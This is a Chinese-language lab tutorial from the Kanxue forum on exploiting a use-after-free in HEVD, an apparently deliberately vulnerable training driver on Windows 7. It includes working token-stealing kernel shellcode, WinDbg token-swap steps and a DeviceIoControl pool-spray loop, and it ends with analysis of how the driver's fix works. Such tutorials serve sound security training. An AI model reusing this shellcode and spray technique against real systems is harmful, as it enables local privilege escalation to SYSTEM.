Windows 内核系列一: UAF基础
0x00: 前言
这是UAF系列的第一篇, 三篇的主要内容如下:
[
[ ] 第二篇: CVE-2016-0213的总结
[ ] 第三篇: windows 10 X64下的UAF
] 第一篇: HEVD给的样例熟悉UAF关于第三篇的内容我还没有决定好,最近在研究CVE-2018-8410,如果分析的出来的话, 第三篇的内容我会给出CVE-2018-8410的分析报告;如果失败的话,我会挑选一下windows 10下的X64的UAF进行分析。由于win10加了很多缓解措施,所以那会是一个相当有趣的过程。
博客的内容我是倒着推的,因为我喜欢有目的性的工作,所以决定在最后再进行漏洞原理的分析,而原理的探讨主要是通过对补丁的探讨而完成。在学习的过程中, 我给出了实验相应步骤的动态图, 希望能对您有所帮助。
0x01: 实验环境的搭建
由于是系列的第一节,所以讲一下环境的搭建,在经过漫长的犹豫之后,我决定把环境的搭建制作成为一个gif图,因为觉得动态的过程更容易理解一些。
Tips: 本次环境的搭建环境. 仅在win7上面适用. win10(win 8 以后) 下因为驱动签名的问题会有一些小小的不同, 后面会给出win10的教程.
(此处为动图,由于文件过大,无法上传,可点击阅读原文前往原文查看)
下面是对环境搭建步骤详解。
1.1 环境要求
[+] 配置支持
调试宿主机: windows 10 X64
目标机子: windows 7 sp1 x86
调试器: windbgx.exe
辅助工具: virtuakD
1.2 第一步
把virtualKD解压到宿主调试机C:\SoftWare,将宿主机C:/software/target目录复制到target机子C:\下,最终结果如下。
1.3 第二步
打开target机器下的C:\target\vminstall.exe 点击yes, 电脑重启。
1.4 第三步
设置Vmcommon的调试器路径
1.5 第四步
开始调试。
0x02: 漏洞利用
2.1 思路详解
在我自己的学习过程中,我喜欢把自己学的东西切成几大块, 假设为ABCD四个大块,在B无法理解的情况下,我能够去弄明白ACD就好。这样即使无法完成此次学习,我也能保证能在此次的学习过程中得到有用的技能。
让我们来假设一下作为一个对UAF不理解的小白,我们会把漏洞的利用过程切为哪几个部分。
[+] 编写shellcode(最终目的是为了运行shellcode)
[+] 分析漏洞
[+] 根据漏洞原理, 伪造能够利用的数据(最终的结果是可以利用shellcode).
[+] 触发漏洞
[+] 运行cmd, 验证提权是否成功.
在进行上面的分析之后,我们可以先做一些比较轻松的部分。
[+] 运行cmd进行验证.
[+] 编写Shellcode
2.2 运行cmd进行验证
我相信有部分开始做内核的朋友可能会比较好奇为什么最后运行cmd, 输入whoami之后,就能证明自己提权成功了,很不幸的,这是一段漫长的故事.。
其实也还是很简单的,原理如下:
[+] 我们运行了exp, exp记作进程A
[+] EXP里面创建一个cmd子进程, 记作子进程B
[+] 子进程会默认继承父进程的权限
[+] 父进程提权成功, 可以在子进程体现.(类似于老子帅不帅可以从儿子那里得到相应的推测)
2.2.1 编写创建cmd子进程程序.
这一部分的代码感谢小刀师傅,来源于他的博客和github。在他的博客和github上面我学习到了很多的有用的东西。
//创建cmd子进程的代码.
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 创建cmd子进程
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
很多时候,我觉得有些细节其实是可以不用太在意的。你可以把它当作拖油瓶,只是附带的产物。比如上面的si的赋值之类的,让我们关注一下重点函数。
2.2.2 CreateProcessW函数
CreateProcessW创建一个子进程,在MSDN上面你可以的到详细的解释,我们列出重要参数的详细解释:
[+] wzFilePath --> 创建的进程名称, cmd
2.2.2 调用cmd子进程
我们在main函数当中进行调用,main函数现在的代码如下:
// main函数的代码.
int main()
{
xxCreateCmdLineProcess(); //调用cmd
return 0;
}
2.2.3 运行的结果
运行的结果如下图:
我们发现我们现在的提权没有成功,这是肯定的,因为我们并没有进行漏洞的利用。
2.3 编写shellcode的代码
作为一个有灵魂的内核选手,这个地方的shellcode我们当然采用汇编编写。 编写之前,我们继续对我们所学的东西进行分块。
[+] ShellCode目的: 进行提权
[+] 提权手段: 将system进程的Token赋值给cmd
[+] 提权的汇编步骤:
==> 找到system的Token, 记作TokenSys
==> 找到cmd的Token. 记作TokenCmd
==> 实现TokenCmd = TokenSys
2.3.1 ShellCode提权方法的验证
okok,作为一个内核选手,我们深知调试器永远不会骗人,所以我们可以通过调试器来帮助我们验证一下我们的思路是否正确。
2.3.1.0 找到System进程的TokenSys
运行如下命令:
!dml_proc
我们能得到关于system如下的结果:
kd> !dml_proc
Address PID Image file name
857bd920 4 System
86357a10 120 smss.exe
86385030 178 csrss.exe
86be3b90 1ac wininit.exe
863e4b68 1b4 csrss.exe
873f1d40 1d8 winlogon.exe
...
解释:
PID:0004 --> system在win7下PID永远为4
PROCESS: 857bd920 -- 进程起始的地址.
接着我们运行如下的命令,查看system进程的Token。
kd> dt nt!_EX_FAST_REF 857bd920 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f -- value是Token的值.
2.3.1.1 找到cmd进程的TokenCmd
与找到TokenSys的方法类似,在虚拟机里面运行一个cmd。我们可以通过相同的方式找到TokenCmd:
dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x967ee085 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x967ee085 -- value是Token的值.
2.3.1.2 进行TokenCmd = TokenSys.
这一部分,我们采用调试器辅助完成。Token存放在进程偏移f8处,我们可以把TokenCmd按照如下的命令重新赋值:
ed 871db030+f8(TokenCmd的存放地址) 8940126f(TokenSys)
此时我们再对cmd的Token进行解析,发现Token的值已经和Sytem的Token出奇一致:
kd> dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f
此时我们运行cmd的whoami, 进行验证. 这个实验过程动态图如下:
(此处为2.3.1动图,由于文件过大,无法上传,可点击阅读原文前往原文查看)
2.3.2 提权的汇编实现
汇编实现的整体代码如下,关键点我会给出注释,如果你需要更详细的解释, 你可以在这里找到答案。(Tips: 汇编代码只是对我们上面手工做的过程的一次模仿,别畏惧它)
// 提权的汇编代码.
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h]
mov eax, [eax + 0x50] // 找到_EPROOCESS
mov ecx, eax
mov edx, 4 // edx = system PID
// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8]
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
一点小Tips:
[+] ShellCode的原理其实不用太了解,大多数时候你可以把它当作stdio.h提供给你的printf函数,直接用就好
[+] 堆栈的平衡建议采用调试解决。
2.3.3 ShellCode的有效性的验证
调试器无所不能(但是不能帮我找到女朋友...),我们想要运行shellcode,如何运行???
在阅读了源码之后,我们发现了一个幸福的代码片段:
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
g_UseAfterFreeObject是一个全局变量,他的定义如下:
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
有趣,如果我们能够篡改他的函数指针指向ShellCode地址,那么我们就能在内核当中调用我们的shellcode。接下来做一个小小的演示:
Tips:
这一部分有些小小的东西需要后面的东西. 请关注篡改函数指针. 其他的内容不会的假装自己会, 看了后面的再来理解前面的.
在未篡改之前,g_UseAfterFreeObject的结构长这样:
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x87815558 void +ffffffff87815558
+0x004 Buffer : [84]
在进行了一堆骚操作之后(我们后面的主要内容就是为了讲解这个地方的骚操作),g_UseAfterFreeObject的结构长这样:
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x001f1000 void UAF_AFTER_FREE_EXP!ShellCode+0
+0x004 Buffer : [84] "
这样的话, 我们就能够运行shellcode了, 提权成功如图:
2.4 执行一堆骚操作
我们前面说过,后面的内容主要是一堆骚操作。来执行替换g_UseAfterFree函数指针的功能。
2.4.1 伪造能够利用的数据
USE AFTER FREE,从这个名字来看是指在FREE状态后依然能够被使用,有趣有趣,那我们来关注一下FREE状态之后如何使用。
在我们从小到大的过程中,我们知道POOL是动态分配的,就像你永远不知道明天的巧克力是什么味道一样(当然作为一个单身狗,明天也是没有巧克力的,太凄凉了)。你永远也不知道下一块分配的POOL在那个位置。
Wait,我们真的不知道吗??? 如果你有兴趣你可以在此处的paper找到相应的POOL分配和释放算法的相关解释,在这里我直接给出结论。
[+] 假设想要被分配的堆的大小是258. 操作系统会去选取最适合258(>=)的空闲堆位置来存放他.
我们来看一下我们的UAF(假设已经成功)POOL的大小,我们申请一个和他一模一样的堆,是不是有一定的概率使我们分配后的堆的刚好是这个地方呢,答案是肯定的。 但是有一个问题,一定的概率,我们希望我们的利用代码能够更加的稳定,假设此时操作一共有X个大小的空闲区域,我们的概率是1/X,分配两个是2/X,不断增加。
[+] n/X -- n是我们请求分配的POOL个数.
最终我们的代码如下:
// 构造美好的数据
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 喷射
for (int i = 0; i < 5000; i++)
{
// 此处的函数用于Pool的分配.
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
2.4.2 漏洞成因分析(为什么在那个时候我们处于Free状态)
我们到这里其实利用就已经做完了,但是永远别忘记一件事,这只是一个练习,与真正的漏洞分析差的远。所以我们学的应该不是教程,而是这一段在实践当中可以帮助我们做些什么。
漏洞成因的分析在我实践的过程中,有两种手段:
[+] 查阅漏洞发现者的给出的相关资料
[+] 查阅其他人做的分析笔记
[+] 阅读POC
[+] 补丁比对
这个地方我们来模拟补丁比对, 实战当中你可以使用bindiff,为了让接下来的过程更加的简单,我们采用源码分析。
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
在这个地方, 安全与不安全的主要理由是g_UseAfterFreeObject最后是否为NULL。
漏洞点: 如果不把它变为NULL, 后续可以继续应用.
这个地方有一个小小的问题,在下一节我们给出我们的套路。
0x3 总结.
3.1 补丁的探讨
我们来对安全的版本进行一点小小的讨论:
[+] g_UseAfterFreeObject = NULL
[+] if(g_UseAfterFreeObject->CallBack) ==> if(NULL->CallBack) ==> if(0->CallBack)
随着思路的推理,我们的嘴角逐渐浮现出笑容, windows 7 下, 我们可以对申请0地址,并且填充相应的内容。假设shellcode地址为0x00410000,我们通过对0地址进行填充内容。
00000000: 00410000 --> 指向shellcode地址
我们也能顺利执行我们的shellcode. ==> 此处引发了一个空指针解引用漏洞。
OK, 我们验证了这是一个不安全的补丁,更安全的补丁应该类似于这样:
if(g_UseAfterFreeObject != NULL)
{
if(g_UseAfterFreeObject->CallBack)
{
g_UseAfterFreeObject->CallBack();
}
}
很遗憾的,当我发现这个的时候,发现创作者已经做了这样一个检测......
3.2 关于挖洞的探讨
在进行这次学习之后,我有一个小小的猜测,是否存在可能性,安全人员在进行uaf漏洞补丁的时候,忽视了空指针解引用呢。
自己思考的比较简陋的方式:
[
[ ] 阅读更新报告, 确定漏洞集
[ ] 编写IDAPy, 完成如下的功能.
==> 检索汇编代码. 确定搜选补丁函数当中的CMP个数.(如果小于2, 可以做重点分析)
==> 检索汇编代码, 确定相邻8 byte - 16byte范围(这个范围需要具体研究.). 是否同时存在两个CMP
] 补充最新的补丁.3.3 UAF漏洞利用的套路总结
[+] 原理: 分配的POOL为赋值为NULL, 导致后面可用.
[+] 触发漏洞
[+] 伪造数据(依赖于伪造数据实现shellcode运行)
[+] 调用相关的函数进行堆喷射
[+] CMD验证
0x4 相关链接
0x4 相关链接
sakura师傅的博客: http://eternalsakura13.com/
小刀师傅的博客: https://xiaodaozhi.com/
本文EXP地址:https://github.com/redogwu(后面更新... 嘤嘤嘤)
一个大大的博客:https://rootkits.xyz/
shellcode编写:https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/
- End -
看雪ID:wjllz
https://bbs.pediy.com/user-756587.htm
本文由看雪论坛 wjllz 原创
转载请注明来自看雪社区
热门技术文章推荐: